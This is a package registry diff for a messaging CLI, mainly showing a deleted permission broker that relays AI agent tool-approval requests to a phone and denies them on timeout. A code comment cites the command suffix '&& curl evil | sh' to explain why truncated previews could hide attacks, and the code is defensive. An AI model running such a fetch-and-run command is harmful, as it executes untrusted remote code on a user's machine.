@relaymessenger/cli 0.4.5 → 0.5.0-staging.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +108 -118
- package/dist/cli.js +2 -172
- package/dist/cli.js.map +1 -1
- package/dist/client.d.ts +8 -0
- package/dist/client.d.ts.map +1 -0
- package/dist/client.js +13 -0
- package/dist/client.js.map +1 -0
- package/dist/config.d.ts +39 -0
- package/dist/config.d.ts.map +1 -0
- package/dist/config.js +206 -0
- package/dist/config.js.map +1 -0
- package/dist/doctor.d.ts +20 -1
- package/dist/doctor.d.ts.map +1 -1
- package/dist/doctor.js +73 -112
- package/dist/doctor.js.map +1 -1
- package/dist/event-listen.d.ts +11 -0
- package/dist/event-listen.d.ts.map +1 -0
- package/dist/event-listen.js +37 -0
- package/dist/event-listen.js.map +1 -0
- package/dist/output.d.ts +4 -0
- package/dist/output.d.ts.map +1 -0
- package/dist/output.js +26 -0
- package/dist/output.js.map +1 -0
- package/dist/program.d.ts +14 -0
- package/dist/program.d.ts.map +1 -0
- package/dist/program.js +655 -0
- package/dist/program.js.map +1 -0
- package/package.json +31 -37
- package/claude-plugin/marketplace/.claude-plugin/marketplace.json +0 -14
- package/claude-plugin/marketplace/plugins/relay/.claude-plugin/plugin.json +0 -27
- package/claude-plugin/marketplace/plugins/relay/LICENSE +0 -21
- package/claude-plugin/marketplace/plugins/relay/README.md +0 -173
- package/claude-plugin/marketplace/plugins/relay/commands/configure.md +0 -71
- package/claude-plugin/marketplace/plugins/relay/runtime/server.mjs +0 -26197
- package/dist/api.d.ts +0 -114
- package/dist/api.d.ts.map +0 -1
- package/dist/api.js +0 -162
- package/dist/api.js.map +0 -1
- package/dist/claude-settings.d.ts +0 -14
- package/dist/claude-settings.d.ts.map +0 -1
- package/dist/claude-settings.js +0 -47
- package/dist/claude-settings.js.map +0 -1
- package/dist/codex.d.ts +0 -25
- package/dist/codex.d.ts.map +0 -1
- package/dist/codex.js +0 -237
- package/dist/codex.js.map +0 -1
- package/dist/engine/acp.d.ts +0 -74
- package/dist/engine/acp.d.ts.map +0 -1
- package/dist/engine/acp.js +0 -413
- package/dist/engine/acp.js.map +0 -1
- package/dist/engine/catalog.d.ts +0 -26
- package/dist/engine/catalog.d.ts.map +0 -1
- package/dist/engine/catalog.js +0 -41
- package/dist/engine/catalog.js.map +0 -1
- package/dist/engine/process.d.ts +0 -12
- package/dist/engine/process.d.ts.map +0 -1
- package/dist/engine/process.js +0 -54
- package/dist/engine/process.js.map +0 -1
- package/dist/engine/types.d.ts +0 -57
- package/dist/engine/types.d.ts.map +0 -1
- package/dist/engine/types.js +0 -8
- package/dist/engine/types.js.map +0 -1
- package/dist/flags.d.ts +0 -9
- package/dist/flags.d.ts.map +0 -1
- package/dist/flags.js +0 -34
- package/dist/flags.js.map +0 -1
- package/dist/install.d.ts +0 -69
- package/dist/install.d.ts.map +0 -1
- package/dist/install.js +0 -513
- package/dist/install.js.map +0 -1
- package/dist/mcp.d.ts +0 -16
- package/dist/mcp.d.ts.map +0 -1
- package/dist/mcp.js +0 -127
- package/dist/mcp.js.map +0 -1
- package/dist/pair.d.ts +0 -20
- package/dist/pair.d.ts.map +0 -1
- package/dist/pair.js +0 -135
- package/dist/pair.js.map +0 -1
- package/dist/permissions.d.ts +0 -90
- package/dist/permissions.d.ts.map +0 -1
- package/dist/permissions.js +0 -361
- package/dist/permissions.js.map +0 -1
- package/dist/receive.d.ts +0 -113
- package/dist/receive.d.ts.map +0 -1
- package/dist/receive.js +0 -596
- package/dist/receive.js.map +0 -1
- package/dist/store.d.ts +0 -301
- package/dist/store.d.ts.map +0 -1
- package/dist/store.js +0 -551
- package/dist/store.js.map +0 -1
- package/openclaw-plugin/relaymessenger-openclaw-plugin-0.3.4.tgz +0 -0
package/dist/permissions.js
DELETED
|
@@ -1,361 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Permission broker: turns an engine permission ask into a Relay card and
|
|
3
|
-
* blocks until the phone answers (or the window expires → deny).
|
|
4
|
-
*
|
|
5
|
-
* Wire shape is shared with the Claude Code channel plugin
|
|
6
|
-
* (integrations/claude-code/src/bridge.ts): one Relay message with a
|
|
7
|
-
* human-readable text part (including the "yes <id>" / "no <id>" text
|
|
8
|
-
* fallback) plus a `data` part
|
|
9
|
-
* { kind: "agent_permission_request", request_id, tool_name, description,
|
|
10
|
-
* input_preview, options: [{ id: "allow"|"deny", label,
|
|
11
|
-
* origin: { kind, request_id } }] }
|
|
12
|
-
* and the same tolerant reply parser (origin-tagged data-part tap or text
|
|
13
|
-
* fallback). Request ids use Claude Code's 5-char [a-km-z] alphabet.
|
|
14
|
-
*
|
|
15
|
-
* Pending approvals are durable resources, not in-memory callback state: each
|
|
16
|
-
* ask is created (create-once) in the paired account runtime's approvals/
|
|
17
|
-
* BEFORE the Relay card is posted; the loop writes the resolution when the
|
|
18
|
-
* tap arrives, and the waiter (this broker's ACP path, or the codex hook in
|
|
19
|
-
* another process) consumes it by unlinking the file. In-window entries stay
|
|
20
|
-
* armed across restarts so a late tap is consumed instead of being forwarded
|
|
21
|
-
* to the engine as a prompt; abandoned files age out after deadline + grace.
|
|
22
|
-
*/
|
|
23
|
-
import { randomInt } from "node:crypto";
|
|
24
|
-
import { engineDisplayName } from "./engine/catalog.js";
|
|
25
|
-
export const APPROVAL_TIMEOUT_MS = 10 * 60 * 1000;
|
|
26
|
-
export const PERMISSION_CARD_KIND = "agent_permission_request";
|
|
27
|
-
/** Claude Code request-id alphabet: five lowercase letters, never "l". */
|
|
28
|
-
const REQUEST_ID_ALPHABET = "abcdefghijkmnopqrstuvwxyz";
|
|
29
|
-
const REQUEST_ID_RE = /^[a-km-z]{5}$/;
|
|
30
|
-
export const PERMISSION_REPLY_RE = /^\s*(y|yes|n|no)\s+([a-km-z]{5})\s*$/i;
|
|
31
|
-
export function newRequestId() {
|
|
32
|
-
let id = "";
|
|
33
|
-
for (let i = 0; i < 5; i += 1) {
|
|
34
|
-
id += REQUEST_ID_ALPHABET[randomInt(REQUEST_ID_ALPHABET.length)];
|
|
35
|
-
}
|
|
36
|
-
return id;
|
|
37
|
-
}
|
|
38
|
-
export function parseVerdictText(text) {
|
|
39
|
-
const m = PERMISSION_REPLY_RE.exec(text);
|
|
40
|
-
if (!m)
|
|
41
|
-
return null;
|
|
42
|
-
return {
|
|
43
|
-
request_id: m[2].toLowerCase(),
|
|
44
|
-
behavior: m[1].toLowerCase().startsWith("y") ? "allow" : "deny",
|
|
45
|
-
};
|
|
46
|
-
}
|
|
47
|
-
function normalizeBehavior(value) {
|
|
48
|
-
if (typeof value !== "string")
|
|
49
|
-
return null;
|
|
50
|
-
const v = value.trim().toLowerCase();
|
|
51
|
-
if (v === "allow" || v === "yes" || v === "y" || v === "approve")
|
|
52
|
-
return "allow";
|
|
53
|
-
if (v === "deny" || v === "no" || v === "n" || v === "reject")
|
|
54
|
-
return "deny";
|
|
55
|
-
return null;
|
|
56
|
-
}
|
|
57
|
-
/**
|
|
58
|
-
* Parses an origin-tagged option tap carried in a `data` part. Accepted
|
|
59
|
-
* shapes, checked in order (identical to the channel plugin):
|
|
60
|
-
*
|
|
61
|
-
* { origin: { kind: "agent_permission_request", request_id }, option_id }
|
|
62
|
-
* { origin: { request_id }, option: "allow" | "deny" }
|
|
63
|
-
* { kind: "agent_permission_request", request_id, behavior | option_id }
|
|
64
|
-
*/
|
|
65
|
-
export function parseVerdictDataPart(data) {
|
|
66
|
-
if (typeof data !== "object" || data === null)
|
|
67
|
-
return null;
|
|
68
|
-
const record = data;
|
|
69
|
-
let requestId;
|
|
70
|
-
const origin = record.origin;
|
|
71
|
-
if (typeof origin === "object" && origin !== null) {
|
|
72
|
-
requestId = origin.request_id;
|
|
73
|
-
}
|
|
74
|
-
if (typeof requestId !== "string")
|
|
75
|
-
requestId = record.request_id;
|
|
76
|
-
if (typeof requestId !== "string")
|
|
77
|
-
return null;
|
|
78
|
-
const id = requestId.toLowerCase();
|
|
79
|
-
if (!REQUEST_ID_RE.test(id))
|
|
80
|
-
return null;
|
|
81
|
-
const behavior = normalizeBehavior(record.option_id) ??
|
|
82
|
-
normalizeBehavior(record.option) ??
|
|
83
|
-
normalizeBehavior(record.choice) ??
|
|
84
|
-
normalizeBehavior(record.behavior);
|
|
85
|
-
if (!behavior)
|
|
86
|
-
return null;
|
|
87
|
-
return { request_id: id, behavior };
|
|
88
|
-
}
|
|
89
|
-
/** Extracts a verdict from a user message: data-part tap first, then text. */
|
|
90
|
-
export function verdictFromMessage(message) {
|
|
91
|
-
for (const part of message.parts) {
|
|
92
|
-
if (part.type !== "data")
|
|
93
|
-
continue;
|
|
94
|
-
const verdict = parseVerdictDataPart(part.data);
|
|
95
|
-
if (verdict)
|
|
96
|
-
return verdict;
|
|
97
|
-
}
|
|
98
|
-
const text = message.parts
|
|
99
|
-
.filter((part) => part.type === "text" && typeof part.text === "string" && part.text.length > 0)
|
|
100
|
-
.map((part) => part.text)
|
|
101
|
-
.join("\n");
|
|
102
|
-
return parseVerdictText(text.length > 0 ? text : message.fallback_text ?? "");
|
|
103
|
-
}
|
|
104
|
-
const MAX_DESCRIPTION_CHARS = 500;
|
|
105
|
-
export const MAX_PERMISSION_PREVIEW_CHARS = 6_000;
|
|
106
|
-
export class PermissionPreviewTooLongError extends Error {
|
|
107
|
-
actualChars;
|
|
108
|
-
constructor(actualChars) {
|
|
109
|
-
super(`permission input is ${actualChars} characters; Relay only permits approval when the full ` +
|
|
110
|
-
`${MAX_PERMISSION_PREVIEW_CHARS}-character security preview can be shown`);
|
|
111
|
-
this.actualChars = actualChars;
|
|
112
|
-
this.name = "PermissionPreviewTooLongError";
|
|
113
|
-
}
|
|
114
|
-
}
|
|
115
|
-
/** Same defense-in-depth sanitization as the channel plugin. */
|
|
116
|
-
export function sanitizeRelayedText(value, maxChars) {
|
|
117
|
-
const cleaned = value
|
|
118
|
-
.replace(/[\u200b-\u200f\u2028-\u202e\u2066-\u2069\ufeff]/g, "")
|
|
119
|
-
.replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, "")
|
|
120
|
-
.replace(/\s+/g, " ")
|
|
121
|
-
.trim();
|
|
122
|
-
return clampHeadTail(cleaned, maxChars);
|
|
123
|
-
}
|
|
124
|
-
/**
|
|
125
|
-
* Over-limit values keep head + tail with an explicit omission marker: a
|
|
126
|
-
* plain head truncation lets a hostile suffix (`… && curl evil | sh`) hide
|
|
127
|
-
* behind the ellipsis on the approval card.
|
|
128
|
-
*/
|
|
129
|
-
export function clampHeadTail(value, maxChars) {
|
|
130
|
-
if (value.length <= maxChars)
|
|
131
|
-
return value;
|
|
132
|
-
const tailChars = Math.min(300, Math.floor(maxChars / 4));
|
|
133
|
-
const marker = ` […${value.length - maxChars} of ${value.length} chars omitted…] `;
|
|
134
|
-
const headChars = Math.max(1, maxChars - tailChars - marker.length);
|
|
135
|
-
return `${value.slice(0, headChars)}${marker}${value.slice(value.length - tailChars)}`;
|
|
136
|
-
}
|
|
137
|
-
/**
|
|
138
|
-
* Security-sensitive tool input is never truncated. If it cannot fit in the
|
|
139
|
-
* approval card, the caller must deny instead of asking the owner to approve
|
|
140
|
-
* an operation with concealed content.
|
|
141
|
-
*/
|
|
142
|
-
export function sanitizePermissionPreview(value) {
|
|
143
|
-
const cleaned = value
|
|
144
|
-
.replace(/\r\n?/g, "\n")
|
|
145
|
-
.replace(/[\u200b-\u200f\u2028-\u202e\u2066-\u2069\ufeff]/g, "")
|
|
146
|
-
.replace(/[\u0000-\u0008\u000b\u000c\u000e-\u001f\u007f-\u009f]/g, "")
|
|
147
|
-
.trim();
|
|
148
|
-
if (cleaned.length > MAX_PERMISSION_PREVIEW_CHARS) {
|
|
149
|
-
throw new PermissionPreviewTooLongError(cleaned.length);
|
|
150
|
-
}
|
|
151
|
-
return cleaned;
|
|
152
|
-
}
|
|
153
|
-
export function buildPermissionCard(input) {
|
|
154
|
-
const toolName = sanitizeRelayedText(input.toolName ?? "", 100) || "a tool";
|
|
155
|
-
const description = sanitizeRelayedText(input.description ?? "", MAX_DESCRIPTION_CHARS);
|
|
156
|
-
const inputPreview = sanitizePermissionPreview(input.inputPreview ?? "");
|
|
157
|
-
const id = input.requestId;
|
|
158
|
-
const lines = [
|
|
159
|
-
`${input.engineLabel} wants to run ${toolName}${description ? `: ${description}` : ""}`,
|
|
160
|
-
];
|
|
161
|
-
if (inputPreview.length > 0)
|
|
162
|
-
lines.push("", inputPreview);
|
|
163
|
-
lines.push("", `Reply "yes ${id}" to allow or "no ${id}" to deny.`);
|
|
164
|
-
return {
|
|
165
|
-
body: {
|
|
166
|
-
conversation_id: input.conversationId,
|
|
167
|
-
parts: [
|
|
168
|
-
{ type: "text", text: lines.join("\n") },
|
|
169
|
-
{
|
|
170
|
-
type: "data",
|
|
171
|
-
data: {
|
|
172
|
-
kind: PERMISSION_CARD_KIND,
|
|
173
|
-
request_id: id,
|
|
174
|
-
tool_name: toolName,
|
|
175
|
-
description,
|
|
176
|
-
input_preview: inputPreview,
|
|
177
|
-
options: [
|
|
178
|
-
{ id: "allow", label: "Allow", origin: { kind: PERMISSION_CARD_KIND, request_id: id } },
|
|
179
|
-
{ id: "deny", label: "Deny", origin: { kind: PERMISSION_CARD_KIND, request_id: id } },
|
|
180
|
-
],
|
|
181
|
-
},
|
|
182
|
-
},
|
|
183
|
-
],
|
|
184
|
-
},
|
|
185
|
-
idempotencyKey: `agent-perm-${id}`,
|
|
186
|
-
};
|
|
187
|
-
}
|
|
188
|
-
/** Maps a binary verdict back onto the engine's richer option set. */
|
|
189
|
-
export function decisionForVerdict(approval, behavior) {
|
|
190
|
-
const prefix = behavior === "allow" ? "allow" : "reject";
|
|
191
|
-
const exact = approval.options.find((option) => option.kind === `${prefix}_once`);
|
|
192
|
-
const fuzzy = approval.options.find((option) => option.kind?.startsWith(prefix));
|
|
193
|
-
const chosen = exact ?? fuzzy;
|
|
194
|
-
if (chosen)
|
|
195
|
-
return { behavior: "selected", optionId: chosen.option_id };
|
|
196
|
-
return behavior === "allow" && approval.options[0]
|
|
197
|
-
? { behavior: "selected", optionId: approval.options[0].option_id }
|
|
198
|
-
: { behavior: "cancelled" };
|
|
199
|
-
}
|
|
200
|
-
export function denyDecision(approval) {
|
|
201
|
-
return decisionForVerdict(approval, "deny");
|
|
202
|
-
}
|
|
203
|
-
export class PermissionBroker {
|
|
204
|
-
client;
|
|
205
|
-
approvals;
|
|
206
|
-
timeoutMs;
|
|
207
|
-
log;
|
|
208
|
-
waiters = new Map();
|
|
209
|
-
constructor(client, approvals, timeoutMs = APPROVAL_TIMEOUT_MS, log = () => { }) {
|
|
210
|
-
this.client = client;
|
|
211
|
-
this.approvals = approvals;
|
|
212
|
-
this.timeoutMs = timeoutMs;
|
|
213
|
-
this.log = log;
|
|
214
|
-
}
|
|
215
|
-
/**
|
|
216
|
-
* Age out abandoned approval files. Files with an unconsumed resolution are
|
|
217
|
-
* owned by a waiter in another process (e.g. a codex hook) and survive
|
|
218
|
-
* until their deadline + grace window; only clearly-dead entries go.
|
|
219
|
-
*/
|
|
220
|
-
sweep(now = Date.now()) {
|
|
221
|
-
for (const requestId of this.approvals.sweep(now)) {
|
|
222
|
-
this.log(`aged out abandoned approval ${requestId}`);
|
|
223
|
-
}
|
|
224
|
-
}
|
|
225
|
-
/**
|
|
226
|
-
* Called by the receive loop for every inbound owner message. Returns true
|
|
227
|
-
* when the message answered a pending approval and must NOT be forwarded to
|
|
228
|
-
* the engine as a prompt.
|
|
229
|
-
*/
|
|
230
|
-
consumeReply(message) {
|
|
231
|
-
const verdict = verdictFromMessage(message);
|
|
232
|
-
if (!verdict)
|
|
233
|
-
return false;
|
|
234
|
-
const approval = this.approvals.get(verdict.request_id);
|
|
235
|
-
if (!approval || approval.resolution) {
|
|
236
|
-
// A verdict-shaped reply with no live ask is still consumed: it must
|
|
237
|
-
// never become an engine prompt.
|
|
238
|
-
return true;
|
|
239
|
-
}
|
|
240
|
-
// A verdict only counts from the conversation that was asked.
|
|
241
|
-
if (approval.conversation_id !== message.conversation_id) {
|
|
242
|
-
this.log(`verdict for ${verdict.request_id} from wrong conversation ` +
|
|
243
|
-
`${message.conversation_id} (expected ${approval.conversation_id}); ignored`);
|
|
244
|
-
return true;
|
|
245
|
-
}
|
|
246
|
-
const waiter = this.waiters.get(verdict.request_id);
|
|
247
|
-
if (waiter) {
|
|
248
|
-
// Our own ask: resolve in-process and consume the file.
|
|
249
|
-
clearTimeout(waiter.timer);
|
|
250
|
-
this.waiters.delete(verdict.request_id);
|
|
251
|
-
this.approvals.consume(verdict.request_id);
|
|
252
|
-
waiter.resolve(decisionForVerdict(approval, verdict.behavior));
|
|
253
|
-
}
|
|
254
|
-
else {
|
|
255
|
-
// Armed by another process (codex hook): write the resolution for its
|
|
256
|
-
// waiter to consume. Single writer per file — the hook only unlinks.
|
|
257
|
-
approval.resolution = { behavior: verdict.behavior, decided_at: new Date().toISOString() };
|
|
258
|
-
this.approvals.put(approval);
|
|
259
|
-
}
|
|
260
|
-
this.log(`approval ${verdict.request_id} resolved: ${verdict.behavior}`);
|
|
261
|
-
return true;
|
|
262
|
-
}
|
|
263
|
-
/**
|
|
264
|
-
* Deny without posting a card, for asks that have nowhere safe to be asked.
|
|
265
|
-
* Nothing is persisted: an approval the owner never saw must leave no
|
|
266
|
-
* pending file behind for a later sweep to reason about.
|
|
267
|
-
*/
|
|
268
|
-
denyUnaskable(askInput) {
|
|
269
|
-
return denyDecision({
|
|
270
|
-
request_id: askInput.requestId,
|
|
271
|
-
conversation_id: "",
|
|
272
|
-
created_at: new Date().toISOString(),
|
|
273
|
-
deadline_at: new Date().toISOString(),
|
|
274
|
-
options: askInput.options.map((option) => ({
|
|
275
|
-
option_id: option.optionId,
|
|
276
|
-
label: option.label,
|
|
277
|
-
kind: option.kind,
|
|
278
|
-
})),
|
|
279
|
-
source: "acp",
|
|
280
|
-
});
|
|
281
|
-
}
|
|
282
|
-
/** Post the card and block until tap or timeout→deny. */
|
|
283
|
-
async ask(conversationId, askInput, engine) {
|
|
284
|
-
const requestId = newRequestId();
|
|
285
|
-
const approval = {
|
|
286
|
-
request_id: requestId,
|
|
287
|
-
conversation_id: conversationId,
|
|
288
|
-
engine,
|
|
289
|
-
tool_name: askInput.toolName,
|
|
290
|
-
created_at: new Date().toISOString(),
|
|
291
|
-
deadline_at: new Date(Date.now() + this.timeoutMs).toISOString(),
|
|
292
|
-
options: askInput.options.map((option) => ({
|
|
293
|
-
option_id: option.optionId,
|
|
294
|
-
label: option.label,
|
|
295
|
-
kind: option.kind,
|
|
296
|
-
})),
|
|
297
|
-
source: "acp",
|
|
298
|
-
};
|
|
299
|
-
if (askInput.inputComplete === false) {
|
|
300
|
-
this.log(`approval ${requestId} denied before posting: raw operation unavailable`);
|
|
301
|
-
return denyDecision(approval);
|
|
302
|
-
}
|
|
303
|
-
let card;
|
|
304
|
-
try {
|
|
305
|
-
card = buildPermissionCard({
|
|
306
|
-
requestId,
|
|
307
|
-
conversationId,
|
|
308
|
-
engineLabel: engineDisplayName(engine),
|
|
309
|
-
toolName: askInput.toolName,
|
|
310
|
-
description: askInput.title,
|
|
311
|
-
inputPreview: askInput.inputPreview,
|
|
312
|
-
});
|
|
313
|
-
}
|
|
314
|
-
catch (error) {
|
|
315
|
-
// Never ask the owner to approve a partially represented operation.
|
|
316
|
-
this.log(`approval ${requestId} denied before posting: ${error}`);
|
|
317
|
-
return denyDecision(approval);
|
|
318
|
-
}
|
|
319
|
-
// Durable (create-once) before the card goes out.
|
|
320
|
-
this.approvals.create(approval);
|
|
321
|
-
// Arm the waiter BEFORE the card goes out: a fast tap can race the POST's
|
|
322
|
-
// response, and a verdict that lands before the waiter exists would
|
|
323
|
-
// otherwise be recorded as a file resolution that this promise then
|
|
324
|
-
// overwrites — or worse, timeout-denied after the user already allowed.
|
|
325
|
-
const decision = new Promise((resolve) => {
|
|
326
|
-
const timer = setTimeout(() => {
|
|
327
|
-
this.waiters.delete(requestId);
|
|
328
|
-
this.approvals.consume(requestId);
|
|
329
|
-
this.log(`approval ${requestId} timed out → deny`);
|
|
330
|
-
resolve(denyDecision(approval));
|
|
331
|
-
}, this.timeoutMs);
|
|
332
|
-
// The engine is awaiting this decision; the timeout must keep the
|
|
333
|
-
// process alive so every unanswered ask deterministically denies.
|
|
334
|
-
this.waiters.set(requestId, { approval, resolve, timer });
|
|
335
|
-
});
|
|
336
|
-
try {
|
|
337
|
-
const posted = await this.client.postMessage(card.body, card.idempotencyKey);
|
|
338
|
-
// The waiter may already have resolved (fast tap): only annotate while
|
|
339
|
-
// the approval file is still ours. The card's text and data parts land
|
|
340
|
-
// as separate messages; the last one is the data card the tap targets.
|
|
341
|
-
const cardMessage = posted.messages.at(-1);
|
|
342
|
-
if (this.waiters.has(requestId) && cardMessage) {
|
|
343
|
-
approval.relay_message_id = cardMessage.id;
|
|
344
|
-
this.approvals.put(approval);
|
|
345
|
-
}
|
|
346
|
-
}
|
|
347
|
-
catch (error) {
|
|
348
|
-
// Card never reached the phone: withdraw the ask and deny.
|
|
349
|
-
const waiter = this.waiters.get(requestId);
|
|
350
|
-
if (waiter) {
|
|
351
|
-
clearTimeout(waiter.timer);
|
|
352
|
-
this.waiters.delete(requestId);
|
|
353
|
-
this.approvals.consume(requestId);
|
|
354
|
-
this.log(`approval ${requestId} card post failed → deny: ${error}`);
|
|
355
|
-
waiter.resolve(denyDecision(approval));
|
|
356
|
-
}
|
|
357
|
-
}
|
|
358
|
-
return await decision;
|
|
359
|
-
}
|
|
360
|
-
}
|
|
361
|
-
//# sourceMappingURL=permissions.js.map
|
package/dist/permissions.js.map
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"permissions.js","sourceRoot":"","sources":["../src/permissions.ts"],"names":[],"mappings":"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